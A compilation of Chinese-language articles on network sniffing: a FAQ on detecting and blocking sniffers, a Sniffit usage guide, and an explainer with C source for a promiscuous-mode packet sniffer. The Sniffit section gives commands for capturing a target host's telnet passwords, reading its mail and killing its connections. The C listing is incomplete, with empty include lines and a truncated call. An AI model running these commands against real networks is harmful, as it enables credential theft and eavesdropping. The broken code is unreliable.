Cambridge, MA 02140-2312
USA Phone: 617-547-7820
Fax: (617) 354-8836
Secure ID uses time slots as authenication rather than challenge/response.

ArKey and OneTime Pass

Management Analytics
PO Box 1480
Hudson, OH 44236
Email: fc@all.net
Tel:US+216-686-0090 Fax: US+216-686-0092

WatchWord and WatchWord II

Racal-Guardata
480 Spring Park Place
Herndon, VA 22070
703-471-0892
1-800-521-6261 ext 217

CRYPTOCard

Arnold Consulting, Inc.
2530 Targhee Street, Madison, Wisconsin
53711-5491 U.S.A.
Phone : 608-278-7700 Fax: 608-278-7701
Email: Stephen.L.Arnold@Arnold.Com
CRYPTOCard is a modern, SecureID-sized, SNK-compatible device.

SafeWord

Enigma Logic, Inc.
2151 Salvio #301
Concord, CA 94520
510-827-5707 Fax: (510)827-2593
For information about Enigma ftp to: ftp.netcom.com in directory
/pub/sa/safeword

Secure Computing Corporation:

2675 Long Lake Road
Roseville, MN 55113
Tel: (612) 628-2700
Fax: (612) 628-2701
debernar@sctc.com

----------------------------------------------------------------

非混杂模式网络接口设备

以前，大多数IBM DOS兼容机器的网卡都不支持混杂模式，所以无法进行sniffing。但DOS已退出计算机网络舞台，对于现在计算机市场中的网络接口设备，请向供应商查询是否为非混杂模式设备（即不支持混杂模式）。

<< 完 >>


Sniffer常见问题集

作者：backend

FAQ目录：

* 什么是sniffer及其工作原理
* 哪里可以得到sniffer
* 如何监测主机正在窃听（sniffed）
* 阻止sniffer
o 主动集线器
o 加密
o Kerberos
o 一次性口令技术
o 非混杂模式网络接口设备

什么是sniffer及其工作原理

与电话电路不同，计算机网络是共享通讯通道的。支持每对通讯计算机独占通道的交换机/集线器仍然过于昂贵。共享意味着计算机能够接收到发送给其它计算机的信息。捕获在网络中传输的数据信息就称为sniffing（窃听）。

以太网是现在应用最广泛的计算机连网方式。以太网协议是在同一回路向所有主机发送数据包信息。数据包头包含有目标主机的正确地址。一般情况下只有具有该地址的主机会接受这个数据包。如果一台主机能够接收所有数据包，而不理会数据包头内容，这种方式通常称为“混杂”模式。 由于在一个普通的网络环境中，帐号和口令信息以明文方式在以太网中传输，一旦入侵者获得其中一台主机的root权限，并将其置于混杂模式以窃听网络数据，从而有可能入侵网络中的所有计算机。

哪里可以得到sniffer

Sniffer是黑客们最常用的入侵手段之一。例如Esniff.c，是一个小巧的工具，运行在SunOS平台，可捕获所有telnet、ftp、rloing会话的前300个字节内容。这个由Phrack开发的程序已成为在黑客中传播最广泛的工具之一。

你可以在经过允许的网络中运行Esniff.c，了解它是如何有效地危及本地机器安全。

以下是一些也被广泛用于调试网络故障的sniffer工具：

* Etherfind on SunOs
* Snoop on Solaris 2.x and SunOs
* Tcpdump
* Packetman, Interman, Etherman, Loadman

商用sniffer：

* Network General.

Network General开发了多种产品。最重要的是Expert Sniffer，它不仅仅可以sniff，还能够通过高性能的专门系统发送/接收数据包，帮助诊断故障。还有一个增强产品"Distrbuted Sniffer System"可以将UNIX工作站作为sniffer控制台，而将sniffer agents（代理）分布到远程主机上。

* Microsoft's Net Monitor

对于某些商业站点，可能同时需要运行多种协议——NetBEUI、IPX/SPX、TCP/IP、802.3和SNA等。这时很难找到一种sniffer帮助解决网络问题，因为许多sniffer往往将某些正确的协议数据包当成了错误数据包。Microsoft的Net Monitor（以前叫Bloodhound）可以解决这个难题。它能够正确区分诸如Netware控制数据包、NT NetBios名字服务广播等独特的数据包。（etherfind只会将这些数据包标识为类型0000的广播数据包。）这个工具运行在MS Windows 平台上。它甚至能够按MAC地址（或主机名）进行网络统计和会话信息监视。只需简单地单击某个会话即可获得tcpdump标准的输出。过滤器设置也是最为简单的，只要在一个对话框中单击需要监视的主机即可。

-------------------------------------------------------------------------------

如何监测主机正在窃听（sniffed）

要监测只采集数据而不对任何信息进行响应的窃听设备，需要逐个仔细检查以太网上所有物理连接。

不可能通过远程发送数据包或ping就可以检查计算机是否正在窃听。

一个主机上的sniffer会将网络接口置为混杂模式以接收所有数据包。对于某些UNIX系统，通过监测到混杂模式的网络接口。虽然可以在非混杂模式下运行sniffer，但这样将只能捕获本机会话。入侵者也可能通过在诸如sh、telnet、rlogin、in.telnetd等程序中捕获会话，并将用户操作记录到其它文件中。这些都可能通过监视tty和kmem等设备轻易发现。只有混杂模式下的sniffing才能捕获以太网中的所有会话，其它模式只能捕获本机会话。

对于SunOS、NetBSD和其它BSD Unix系统，如下命令：

"ifconfig -a"

会显示所有网络接口信息和是否在混杂模式。DEC OSF/1和IRIX等系统需要指定设备。要找到系统中有什么网络接口，可以运行如下命令：

# netstat -r
Routing tables

Internet:
Destination Gateway Flags Refs Use Interface
default iss.net UG 1 24949 le0
localhost localhost UH 2 83 lo0

然后通过如下命令检查每个网络接口：

#ifconfig le0
le0: flags=8863
inet 127.0.0.1 netmask 0xffffff00 broadcast 255.0.0.1

入侵者经常会替换ifconfig等命令来避开检查，因此一定要检查命令程序的校验值。

在ftp.cert.org:/pub/tools/的cpm程序（SunOS平台）可以检查接口是否有混杂模式标记。

对于Ultrix系统，使用pfstat和pfconfig命令也可能监测是否有sniffer运行。

pfconfig指定谁有权限运行sniffer。
pfstat显示网络接口是否处于混杂模式。

这些命令只在sniffer与内核存在链接时有效。而在缺省情况，sniffer是没有与内核链接的。大多数的Unix系统，例如Irix、Solaris、SCO等，都没有任何标记来指示是否处于混杂模式，因此入侵者能够窃听整个网络而却无法监测到它。

通常一个sniffer的记录文件会很快增大并填满文件空间。在一个大型网络中，sniffer明显加重机器负荷。这些警告信息往往能够帮助管理员发现sniffer。建议使用lsof程序搜索访问数据包设备（如SunOS的/dev/nit）的程序和记录文件。

阻止sniffer

主动式集线器只向目标地址主机发送数据包，从而使混杂模式sniffer失效。它仅适用于10Base-T以太网。（注：这种现在已在计算机市场消失。）

只有两家厂商曾生产过主动式集线器：

* 3Com
* HP

随着交换机的成本和价格的大幅度降低，交换机已成为非常有效的使sniffer失效的设备。目前最常见的交换机在第三层（网络层）根据数据包目标地址进行转发，而不太采取集线器的广播方式，从而使sniffer失去了用武之地。

加密

目前有许多软件包可用于加密连接，从而使入侵者即使捕获到数据，但无法将数据解密而失去窃听的意义。 以下是以前常用的一些软件包

* deslogin
coast.cs.purdue.edu:/pub/tools/unix/deslogin .

* swIPe
ftp.csua.berkeley.edu:/pub/cypherpunks/swIPe/

* Netlock

Kerberos

Kerberos是另一个加密网络中帐号信息的软件包。它的缺点是所有帐号信息都存放在一台主机中，如果该主机被入侵，则会危及整个网络安全。另外配置它也不是一件简单的事情。Kerberos包括流加密rlogind和流加密telnetd等，它可以防止入侵者捕获用户在登录完成后所进行的操作。

Kerberos FAQ可从ftp站点rtfm.mit.edu中得到：
/pub/usenet/comp.protocols/kerberos/Kerberos_Users__Frequently_Asked_Questions_1.11

一次性口令技术

S/key和其它一次性口令技术一样，使窃听帐号信息失去意义。S/key的原理是远程主机已得到一个口令（这个口令不会在不安全的网络中传输），当用户连接时会获得一个“挑战”(challenge)信息，用户将这个信息和口令经过某个算法运算，产生正确的“响应”(response)信息（如果通讯双方口令正确的话）。这种验证方式无需在网络中传输口令，而且相同的“挑战/响应”也不会出现两次。S/key可从以下网址得到：ftp://thumper.bellcore.com/pub/nmh/skey

还有一种一次性口令技术是ID卡系统。每个授权用户都有一个产生用于访问各自帐号的数字号码的ID卡。如果没有这个ID卡，不可能猜出这个数字号码。

以下是提供这类解决方案的公司资料：

Secure Net Key (SNK)

Digital Pathways, Inc.
201 Ravendale Dr. Mountainview, Ca.
97703-5216 USA

Phone: 415-964-0707 Fax: (415) 961-7487

Secure ID

Security Dynamics,
One Alewife Center
Cambridge, MA 02140-2312
USA Phone: 617-547-7820
Fax: (617) 354-8836
Secure ID uses time slots as authenication rather than challenge/response.

ArKey and OneTime Pass

Management Analytics
PO Box 1480
Hudson, OH 44236
Email: fc@all.net
Tel:US+216-686-0090 Fax: US+216-686-0092

WatchWord and WatchWord II

Racal-Guardata
480 Spring Park Place
Herndon, VA 22070
703-471-0892
1-800-521-6261 ext 217

CRYPTOCard

Arnold Consulting, Inc.
2530 Targhee Street, Madison, Wisconsin
53711-5491 U.S.A.
Phone : 608-278-7700 Fax: 608-278-7701
Email: Stephen.L.Arnold@Arnold.Com
CRYPTOCard is a modern, SecureID-sized, SNK-compatible device.

SafeWord

Enigma Logic, Inc.
2151 Salvio #301
Concord, CA 94520
510-827-5707 Fax: (510)827-2593
For information about Enigma ftp to: ftp.netcom.com in directory
/pub/sa/safeword

Secure Computing Corporation:

2675 Long Lake Road
Roseville, MN 55113
Tel: (612) 628-2700
Fax: (612) 628-2701
debernar@sctc.com

非混杂模式网络接口设备

以前，大多数IBM DOS兼容机器的网卡都不支持混杂模式，所以无法进行sniffing。但DOS已退出计算机网络舞台，对于现在计算机市场中的网络接口设备，请向供应商查询是否为非混杂模式设备（即不支持混杂模式）。


Sniffit使用说明

quack

Sniffit是由Lawrence Berkeley Laboratory开发的，可以在Linux、Solaris、SGI等各种平台运行的 网络监听软件，它主要是针对TCP/IP协议的不安全性对运行该协议的机器进行监听——当然，数据包必须经过运行sniffit的机器才能进行监听，因此它只能够监听在同一个网段上的机器。而且还能够自由地为其增加某些插件以实现额外功能。

一、安装 软件的安装很简单:

1、用tar zvfx sniffit.*.*.*.tgz将下载下来的sniffit.*.*.*.tgz解压缩到你想要的目的文件夹， 如果版本是0.3.7的话（应该是最新版本吧，我不敢确定……），你会看到该目录下出现一个 sniffit.0.3.7的目录。
2、cd sniffit.0.3.7
3、./configure && make ，只要在这个过程中终端上没有意外的error信息出现，你就算编译成功 了——可以得到一个二进制的sniffit文件。
4、make clean把不用的垃圾扫掉……

二、使用方法

1、参数

这个东东具有如下的命令选项：

-v 显示版本信息
-t <ip nr/name> 让程序去监听指定流向某IP的数据包
-s <ip nr/name>让程序去监听从某IP流出的IP数据包，可以使用@通配符，如 -t
199.145.@
-i 显示出窗口界面，能察看当前在你所属网络上进行连接的机器
-I 扩展的交互模式，忽略所有其它选项，比-i强大得多……
-c <file> 利用脚本来运行程序
-F <device> 强制使程序使用网络硬盘
-n 显示出假的数据包。象使用ARP、RARP或者其他不是IP的数据包也会显示出来
-N 只运行plugin时的选项，使其它选项失效

在-i 模式下无法工作的参数：

-b 同时做-t和-s的工作……
-d 将监听所得内容显示在当前终端——以十六进制表示
-a 将监听所得内容显示在当前终端——以ASCII字符表示
-x 打印TCP包的扩展信息(SEQ, ACK, Flags)，可以与'-a', '-d', '-s', '-t',
'-b'一起运作，注意——它是输出在标准输出的，如果只用-t,-s,-b 而没有其它参数配合的话不会被写入文件。
-R <file> 将所有通信记录在文件中
-r <file> 这一选项将记录文件送往sniffit,它需要-F的参数配合指明设备，假设你用 'eth0'(第一块网卡)来记录文件，你必须在命令行里面加上'-F eth0'或者 '或者'或者'或者'或者'-F eth' -A 遇到不认识的字符时用指定的字符代替
-P <protocol> 定义监听的协议，DEFAULT为TCP——也可以选IP、ICMP、UDP……
-p <prot >定义监听端口，默认为全部
-l <length> 设定数据包大小，default是300字节。
-M <plugin> 激活插件

-I，-i 模式下的参数

-D <device> 所有的记录会被送到这个磁盘上。

-c 模式下的参数

-L<logparam>
其中logparam可以是如下的内容：
raw : 轻度
norm : 常规
telnet: 记录口令（端口23）
ftp : 记录口令（端口21）
mail : 记录信件内容（端口25）
比如说"ftpmailnorm"就是一个合法的logparam

2、图形仿真界面

就是上面所说的-i选项啦，我们输入sniffit -i 会出现一个窗口环境，从中可以看到自己所在的 网络中有哪些机器正在连接，使用什么端口号，其中可用的命令如下：
q 退出窗口环境，结束程序
r 刷新屏幕，重新显示正在在连线的机器
n 产生一个小窗口，包括TCP、IP、ICMP、UDP等协议的流量
g 产生数据包，正常情况下只有UDP协议才会产生，执行此命令要回答一些关于数据包的问题
F1 改变来源网域的IP地址，默认为全部
F2 改变目的网域的IP地址，默认为全部
F3 改变来源机器的端口号，默认为全部
F4 改变目的机器的端口号，默认为全部

3、一些示例

假设有以下的设置：在一个子网中有两台主机，一台运行了sniffer，我们称之为sniffit.com，另 一台是66.66.66.7，我们称之为target.com。

1、你希望检查sniffer是否能运行
sniffit:~/# sniffit -d -p 7 -t 66.66.66.7
并且开另一个窗口:
sniffit:~/$ telnet target.com 7
你可以看到sniffer将你telnet到对方7号端口echo服务的包捕获了。

2、你希望截获target.com上的用户密码
sniffit:~/# sniffit -p 23 -t 66.66.66.7

3、target.com主机的根用户声称有奇怪的FTP连接并且希望找出他们的击键
sniffit:~/# sniffit -p 21 -l 0 -t 66.66.66.7

4. 你希望能阅读所有进出target.com的信件
sniffit:~/# sniffit -p 25 -l 0 -b -t 66.66.66.7 &
或者
sniffit:~/# sniffit -p 25 -l 0 -b -s 66.66.66.7 &

5. 你希望使用用户交互界面
sniffit:~/# sniffit -i

6. 有错误发生而且你希望截获控制信息
sniffit:~/# sniffit -P icmp -b -s 66.66.66.7

7. Go wild on scrolling the screen.
sniffit:~/# sniffit -P ip -P icmp -P tcp -p 0 -b -a -d -x -s 66.66.66.7
与之效果相当的是
sniffit:~/# sniffit -P ipicmptcp -p 0 -b -a -d -x -s 66.66.66.7

8. 你可以用'more 66*'读取下列方式记录下的密码
sniffit:~/# sniffit -p 23 -A . -t 66.66.66.7
或者
sniffit:~/# sniffit -p 23 -A ^ -t dummy.net

三、高级应用

1、用脚本执行

这是配合选项-c的，其执行方法也很简单，比如以如下方式编辑一个叫sh的文件

select from host 180.180.180.1
select to host 180.180.180.10
select both port 21

然后执行：sniffit -c sh

说明：监听从180.180.180.1送往180.180.180.10的数据包，端口为FTP口。这里不做更多说明，你可以自己去看里面的README。

2、插件

要获取一个插件是很简单的，你将它放入sniffit的目录下，并且象如下方式编辑sn_plugin.h
    文件：
#define PLUGIN1_NAME "My plugin"
#define PLUGIN1(x) main_plugin_function(x)
#include "my_plugin.plug"

注意:

a) 你可以让plugin从0-9，所以从PLUGIN0_NAME到PLUGIN1_NAME……不必是连续的 d) #include "my_plugin.plug" 这是我的插件源代码放置的地方。 如果想详细了解的话，还是看看里面的plugin.howto吧。

3、介绍 tod

这东东便是sniffit最有名的一个插件了，为什么叫TOD呢——touch of death,它可以轻易地切断一个 TCP连接，原理是向一个TCP连接中的一台主机发送一个断开连接的IP包，这个IP包的RST位置1，便可以了。
将下载下来的tod.tar.gz拷贝到sniffit所在目录下，解压安装后ln -s tod sniffit_key5
就可以将这相程序与F5键连接起来，想切断哪台机器的话，只要在窗口中将光标指到需要断线的机器上 按下F5键就可以了。你可以自由地定义成其它的F功能键——F1~F4不行，它们已经被定义过了……


SNIFF原理解析

秋天的树

一 前言

    SNIFF真是一个古老的话题，关于在网络上采用SNIFF来获取敏感信息已经不是什么新鲜事，也不乏很多成功的案例，那么，SNIFF究竟是什么呢？ SNIFF就是嗅探器，就是窃听器，SNIFF静悄悄的工作在网络的底层，把你的 秘密全部记录下来。看过威尔史密斯演的《全民公敌》吗？SNIFF就象里面精巧的窃听器一样，让你防不胜防。

    SNIFF可以是软件，也可以是硬件，既然是软件那就要分平台，有WINDOWS下的、UNXI下的等，硬件的SNIFF称为网络分析仪，反正不管硬件软件，目标只有一个，就是获取在网络上传输的各种信息。本文仅仅介绍软件的SNIFF。

    当你舒适的坐在家里，惬意的享受网络给你带来的便利，收取你的EMAIL，购买你喜欢的物品的时候，你是否会想到你的朋友给你的信件，你的信用卡帐号变成了一个又一个的信息包在网络上不停的传送着，你是否曾经这些信息包会通过网络流入别人的机器呢？你的担忧不是没有道理的，因为SNIFF可以让你的担忧变成实实在在的危险。就好象一个人躲在你身后偷看一样。。。。。。

二 网络基础知识

  "网络基础知识"，是不是听起来有点跑题了？ 虽然听起来这和我们要谈的SNIFF没什么关系，可是还是要说一说的，万丈高楼平地起，如果连地基都没打好，怎么盖楼？！如果你对网络还不是十分清楚的话，最好能静下心来好好看看，要知道，这是基础的基础，在这里我只是简单的说一下，免得到时候有人迷糊，详细的最好能够自己去找书看看。 （1）TCP/IP体系结构

    开放系统互连（OSI）模型将网络划分为七层模型，分别用以在各层上实现不同的功能，这七层分别为：应用层、表示层、会话层、传输层、网络层、数据链路层及物理层。而TCP/IP体系也同样遵循这七层标准，只不过在某些OSI功能上进行了压缩，将表示层及会话层合并入应用层中，所以实际上我们打交道的TCP/IP仅仅有5层而已，网络上的分层结构决定了在各层上的协议分布及功能实现，从而决定了各层上网络设备的使用。实际上很多成功的系统都是基于OSI模型的，如：如帧中继、ATM、ISDN等。

     TCP/IP的网络体系结构（部分）

-----------------------------------

| SMTP | DNS | HTTP | FTP | TELNET|
应用层

-----------------------------------

| 　 　TCP 　 　|　 　UDP 　 　 　|
传输层

-----------------------------------

| 　IP　 | 　 ICMP 　　| ARP RARP |
网络层

------------------------

| IEEE 802 以太网 SLIP/PPP PDN etc|
数据链路层

-----------------------------------

|　 　　网卡 电缆 双绞线 etc 　　 |
物理层

-----------------------------------

     从上面的图中我们可以看出，第一层物理层和第二层数据链路层是TCP/IP的基础，而TCP/IP本身并不十分关心低层，因为处在数据链路层的网络设备驱动程序将上层的协议和实际的物理接口隔离开来。网络设备驱动程序位于介质访问子层(MAC)。

（2）网络上的设备

中继器：中继器的主要功能是终结一个网段的信号并在另一个网段再生该信号，一句话，就是简单的放大而已 ，工作在物理层上。

网 桥 ：网桥使用MAC物理地址实现中继功能，可以用来分隔网段或连接部分异种网络，工作在数据链路层。

路由器：路由器使用网络层地址(IP,X.121,E.164等)，主要负责数据包的路由寻径，也能处理物理层和数据链路层上的工作。

网 关 ：主要工作在网络第四层以上，主要实现收敛功能及协议转换，不过很多时候网关都被用来描述任何网络互连设备。

（3）TCP/IP与以太网

    以太网和TCP/IP可以说是相互相成的，可以说两者的关系几乎是密不可分，以太网在一二层提供物理上的连线 ，而TCP/IP工作在上层，使用32位的IP地址，以太网则使用48位的MAC地址，两者间使用ARP和RARP协议进行相互转换。从我们上面TCP/IP的模型图中可以清楚的看到两者的关系。

    载波监听/冲突检测(CSMA/CD)技术被普遍的使用在以太网中，所谓载波监听是指在以太网中的每个站点都具有 同等的权利，在传输自己的数据时，首先监听信道是否空闲，如果空闲，就传输自己的数据，如果信道被占用 ，就等待信道空闲。而冲突检测则是为了防止发生两个站点同时监测到网络没有被使用时而产生冲突。以太网 采用广播机制，所有与网络连接的工作站都可以看到网络上传递的数据。

    为了加深你的理解，我们来看看下面的图，一个典型的在以太网中客户与服务器使用TCP/IP协议的通信。
用户进程
FTP客户
<------------------------->
FTP服务器
  应用层

|

|

内核中的
TCP
<------------------------->
TCP
  传输层

|

|

内核中的协议栈
IP
<------------------------->
IP
  网络层

|

|

以太网驱动程序
<------------------------->
以太网驱动程序
  数据链路层

――――――-------------------------------

以太网

唆唆了这么多，有人烦了吧？相信我，这是基础的基础，可以说是说得是很简单拉，如果需要，拿出个几十万字来说上面的内容，我想也不嫌多，好了，让我们进入下一节，sniff的原理。

三 SNIFF的原理

   要知道在以太网中，所有的通讯都是广播的，也就是说通常在同一个网段的所有网络接口都可以访问在物理媒体上传输的所有数据，而每一个网络接口都有一个唯一的硬件地址，这个硬件地址也就是网卡的MAC地址，大多数系统使用48比特的地址，这个地址用来表示网络中的每一个设备，一般来说每一块网卡上的MFC地址都是不同的，每个网卡厂家得到一段地址，然后用这段地址分配给其生产的每个网卡一个地址。在硬件地址和IP地址间使用ARP和RARP协议进行相互转换。

   在正常的情况下，一个网络接口应该只响应这样的两种数据帧：

     1.与自己硬件地址相匹配的数据帧。　 　　 　　　　 　　 　　 　　 　　 　　 　　 　　 　 　　 　　　　 　　 　　 　　 　　 　　 2.发向所有机器的广播数据帧。

   在一个实际的系统中，数据的收发是由网卡来完成的，网卡接收到传输来的数据，网卡内的单片程序接收数据帧的目的MAC地址，根据计算机上的网卡驱动程序设置的接收模式判断该不该接收，认为该接收就接收后产生中断信号通知CPU，认为不该接收就丢掉不管，所以不该接收的数据网卡就截断了，计算机根本就不知道。CPU得到中断信号产生中断，操作系统就根据网卡的驱动程序设置的网卡中断程序地址调用驱动程序接收数据，驱动程序接收数据后放入信号堆栈让操作系统处理。而对于网卡来说一般有四种接收模式：

     广播方式：该模式下的网卡能够接收网络中的广播信息。　　　 　　　　 　　 　　 　　 　　 　　 　　 　　 　 　　 　　　　 　　 　　 组播方式：设置在该模式下的网卡能够接收组播数据。 　　　 　 　　 　　　　 　　 　　 　　 　　 　　 　　 　　 　 　　 　　　　 　直接方式：在这种模式下，只有目的网卡才能接收该数据。 　　　　 　　 　　　　 　　 　　 　　 　　 　　 　　 　　 　 　　 　　　 混杂模式：在这种模式下的网卡能够接收一切通过它的数据，而不管该数据是否是传给它的。

   好了，现在我们总结一下，首先，我们知道了在以太网中是基于广播方式传送数据的，也就是说，所有的物理信号都要经过我的机器，再次，网卡可以置于一种模式叫混杂模式（promiscuous），在这种模式下工作的网卡能够接收到一切通过它的数据，而不管实际上数据的目的地址是不是他。这实际上就是我们SNIFF工作的基本原理：让网卡接收一切他所能接收的数据。

（图一）

   我们来看一个简单的例子，如图一所示，机器A、B、C与集线器HUB相连接，集线器HUB通过路由器Router访问外部网络。这是一个很简单也很常见的情况，比如说在公司大楼里，我所在的网络部办公室里的几台机器通过集线器连接，而网络部、开发部、市场部也是同样如此，几个部门的集线器通过路由器连接。还是回到我们的图一上来，值得注意的一点是机器A、B、C使用一个普通的HUB连接的，不是用SWITCH，也不是用ROUTER，使用SWITCH和ROUTER的情况要比这复杂得多。

   我们假设一下机器A上的管理员为了维护机器C，使用了一个FTP命令向机器C进行远程登陆，那么在这个用HUB连接的网络里数据走向过程是这样的。首先机器A上的管理员输入的登陆机器C的FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网驱动程序一层一层的包裹，最后送到了物理层，我们的网线上。接下来数据帧送到了HUB上，现在由HUB向每一个接点广播由机器A发出的数据帧，机器B接收到由HUB广播发出的数据帧，并检查在数据帧中的地址是否和自己的地址相匹配，发现不是发向自己的后把这数据帧丢弃，不予理睬。而机器C也接收到了数据帧，并在比较之后发现是发现自己的，接下来他就对这数据帧进行分析处理。

   在上面这个简单的例子中，机器B上的管理员如果很好奇，他很想知道究竟登陆机器C上FTP口令是什么？那么他要做的很简单，仅仅需要把自己机器上的网卡置于混杂模式，并对接收到的数据帧进行分析，从而找到包含在数据帧中的口令信息。

四 做一个自己的sniff

   在上一节里，我们已经知道了SNIFF的基本原理是怎么一回事，这一节我们来亲自动手做一个自己的sniff，毕竟，用程序代码来说话比什么都要来得真实，也容易加深理解。

   回头想一想我们上面说的原理，我们要做的事情有几件：

1. 把网卡置于混杂模式。
2. 捕获数据包。
3. 分析数据包。

注：下面的源代码取至Chad Renfro的<< Basic Packet-Sniffer Construction from the Ground Up>>一文中

/************************Tcp_sniff_2.c********************/

1.#include

2.#include

3.#include

4.#include

5.#include

6.#include

7.#include

8.#include

9.#include "headers.h"

#define INTERFACE "eth0"

/*Prototype area*/

10.int Open_Raw_Socket(void);

11.int Set_Promisc(char *interface, int sock);

12.int main() {

13.int sock, bytes_recieved, fromlen;

14.char buffer[65535];

15.struct sockaddr_in from;

16.struct ip *ip;

17.struct tcp *tcp;

18.sock = Open_Raw_Socket(

19. Set_Promisc(INTERFACE, sock);

20. while(1)

22. {

23. fromlen = sizeof from;

24. bytes_recieved = recvfrom(sock, buffer, sizeof buffer, 0, (struct sockaddr
    *)&from, &fromlen);

25. printf("\nBytes received ::: %5d\n",bytes_recieved);

26. printf("Source address ::: %s\n",inet_ntoa(from.sin_addr));

27. ip = (struct ip *)buffer;

/*See if this is a TCP packet*/

28. if(ip->ip_protocol == 6) {

29. printf("IP header length ::: %d\n",ip->ip_length);

30. printf("Protocol ::: %d\n",ip->ip_protocol);

31. tcp = (struct tcp *)(buffer + (4*ip->ip_length));

32. printf("Source port ::: %d\n",ntohs(tcp->tcp_source_port));

33. printf("Dest port ::: %d\n",ntohs(tcp->tcp_dest_port));

34. }

35. }

36.}

37.int Open_Raw_Socket() {

38. int sock;

39. if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {

/*Then the socket was not created properly and must die*/

40. perror("The raw socket was not created");

41. exit(0);

42. };

43. return(sock);

44. }

45.int Set_Promisc(char *interface, int sock ) {

46. struct ifreq ifr;

47. strncpy(ifr.ifr_name, interface,strnlen(interface)+1);

48. if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {

/*Could not retrieve flags for the interface*/

49. perror("Could not retrive flags for the interface");

50. exit(0);

51. }

52. printf("The interface is ::: %s\n", interface);

53. perror("Retrieved flags from interface successfully");

54. ifr.ifr_flags |= IFF_PROMISC;

55. if (ioctl (sock, SIOCSIFFLAGS, &ifr) == -1 ) {

/*Could not set the flags on the interface */

56. perror("Could not set the PROMISC flag:");

57. exit(0);

58. }

59. printf("Setting interface ::: %s ::: to promisc", interface);

60. return(0);

61. }

/***********************EOF**********************************/

    上面这段程序中有很详细的注解，不过我想还是有必要说一说，首先第10行--int Open_Raw_Socket(void);　是我们的自定义函数，具体内容如下：

37.int Open_Raw_Socket() {

38. int sock;

39. if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {

*Then the socket was not created properly and must die*/

40. perror("The raw socket was not created");

41. exit(0);

42. };

43. return(sock);

44. }

第39行 if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {

这里我们调用了socket函数，使创建了了一个原始套接口，使之收到TCP/IP信息包。

    接下来第11行-int Set_Promisc(char *interface,
    int sock)，这也是我们的自定义函数，目的是把网卡置于混杂模式，具体内容如下： 45.int Set_Promisc(char *interface,
    int sock ) {

46. struct ifreq ifr;

47. strncpy(ifr.ifr_name, interface,strnlen(interface)+1);

48. if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {

/*Could not retrieve flags for the interface*/

49. perror("Could not retrive flags for the interface");

50. exit(0);

51. }

52. printf("The interface is ::: %s\n", interface);

53. perror("Retrieved flags from interface successfully");

54. ifr.ifr_flags |= IFF_PROMISC;

55. if (ioctl (sock, SIOCSIFFLAGS, &ifr) == -1 ) {

/*Could not set the flags on the interface */

56. perror("Could not set the PROMISC flag:");

57. exit(0);

58. }

59. printf("Setting interface ::: %s ::: to promisc", interface);

60. return(0);
61. }

    首先 struct ifreq ifr; 定一了一个ifrreg的结构ifr，接下来 strncpy(ifr.ifr_name, interface,strnlen(interface)+1);，就是把我们网络设备的名字填充到ifr结构中，在这里 #define INTERFACE "eth0" ，让我们再往下看,ioctl(sock, SIOCGIFFLAGS, &ifr),SIOCGIFFLAGS请求表示需要获取接口标志，现在到了第54行，在我们成功的获取接口标志后把他设置成混杂模式，ifr.ifr_flags |= IFF_PROMISC;ioctl (sock, SIOCSIFFLAGS, &ifr)。OK，现在我们所说的第一步已经完成--------把网卡置于混杂模式。

    现在进入第二步，捕获数据包。从第20行开始，我们进入了一个死循环，while(1)，在第24行，recvfrom(sock, buffer, sizeof buffer, 0, (struct sockaddr *)&from, &fromlen)，这个函数要做的就是接收数据，冰把接收到的数据放入buffer中。就是这么简单，已经完成了我们要捕获数据包的任务。

    到了第三步，分析数据包。27行，ip = (struct ip *)buffer，使我们在头文件中的IP结构对应于所接收到的数据，接下来判断在网络层中是否使用的是TCP协议，if(ip->ip_protocol == 6) ，如果答案是，tcp信息包从整个IP/TCP包 buffer + (4*ip->ip_length) 地址处开始，所以31行 tcp = (struct tcp *)(buffer + (4*ip->ip_length))，然后对应结构把你所需要的信息输出。

/*************************headers.h**************************/

/*structure of an ip header*/

struct ip {

unsigned int ip_length:4; /*little-endian*/

unsigned int ip_version:4;

unsigned char ip_tos;

unsigned short ip_total_length;

unsigned short ip_id;

unsigned short ip_flags;

unsigned char ip_ttl;

unsigned char ip_protocol;

unsigned short ip_cksum;

unsigned int ip_source; unsigned int ip_dest;

};

/* Structure of a TCP header */

struct tcp {

unsigned short tcp_source_port;

unsigned short tcp_dest_port;

unsigned int tcp_seqno;

unsigned int tcp_ackno;

unsigned int tcp_res1:4, /*little-endian*/

tcp_hlen:4,

tcp_fin:1,

tcp_syn:1,

tcp_rst:1,

tcp_psh:1,

tcp_ack:1,

tcp_urg:1,

tcp_res2:2;

unsigned short tcp_winsize;

unsigned short tcp_cksum;

unsigned short tcp_urgent;

};

/*********************EOF***********************************/

   从上面的分析我们可以清楚的认识到，认识一个SNIFF需要对TCP/IP协议有着详细的了解，否则你根本无法找到你需要的信息。有了上面的基础，你可以自己来做一个你需要的SNIFF了。

五 常用的SNIFF

   很少有原因会让你自己亲自动手来做一个自己的SNIFF，除非你是想了解他的原理，或者是其他一些特别的原因 ，比如你要在某个特殊的环境拦截一些特殊的数据包。下面我们就来看看一些在网络上经常使用的SNIFF。

（1）windows环境下

   windows环境下当然是大名鼎鼎的netxray以及sniffer pro了，实际上很多人都是用他在windows环境下抓包来分析，不过我想很少有人笨到去在别人的机器上安装一个图形界面的SNIFF，除非他和管理员很熟悉........ netxray的使用就不多说了，反正windows下的东西就是click，click，click，非常的方便用户。

（2）UNUX环境下

   UNUX环境下的sniff可以说是百花齐放，一抓就是一大把,如sniffit，snoop,tcpdump,dsniff等都是比较常见的，他们都有一个好处就是发布源代码，可以让你研究，当然也都是免费的：）

1. sniffit

   sniffit可以运行在Solaris、SGI和Linux等平台上，由Lawrence Berkeley Laboratory 实验室开发的一个免费 的网络监听软件。最近Sniffit 0.3.7也推出了NT版本，并也支持WINDOWS2000.

使用方法: -v 显示版本信息

-a 以ASCII形式将监听的结果输出。

-A 在进行记录时，所有不可打印的字符都用代替

-b 等同于同时使用参数-t & -s。

-d 将监听所得内容以十六进制方式显示在当前终端

-p 记录连接到的包，0为所有端口。缺省为0。

-P protocol 选择要检查的协议，缺省为TCP。可能的选择有IP、TCP、ICMP、UDP和他们的组合。

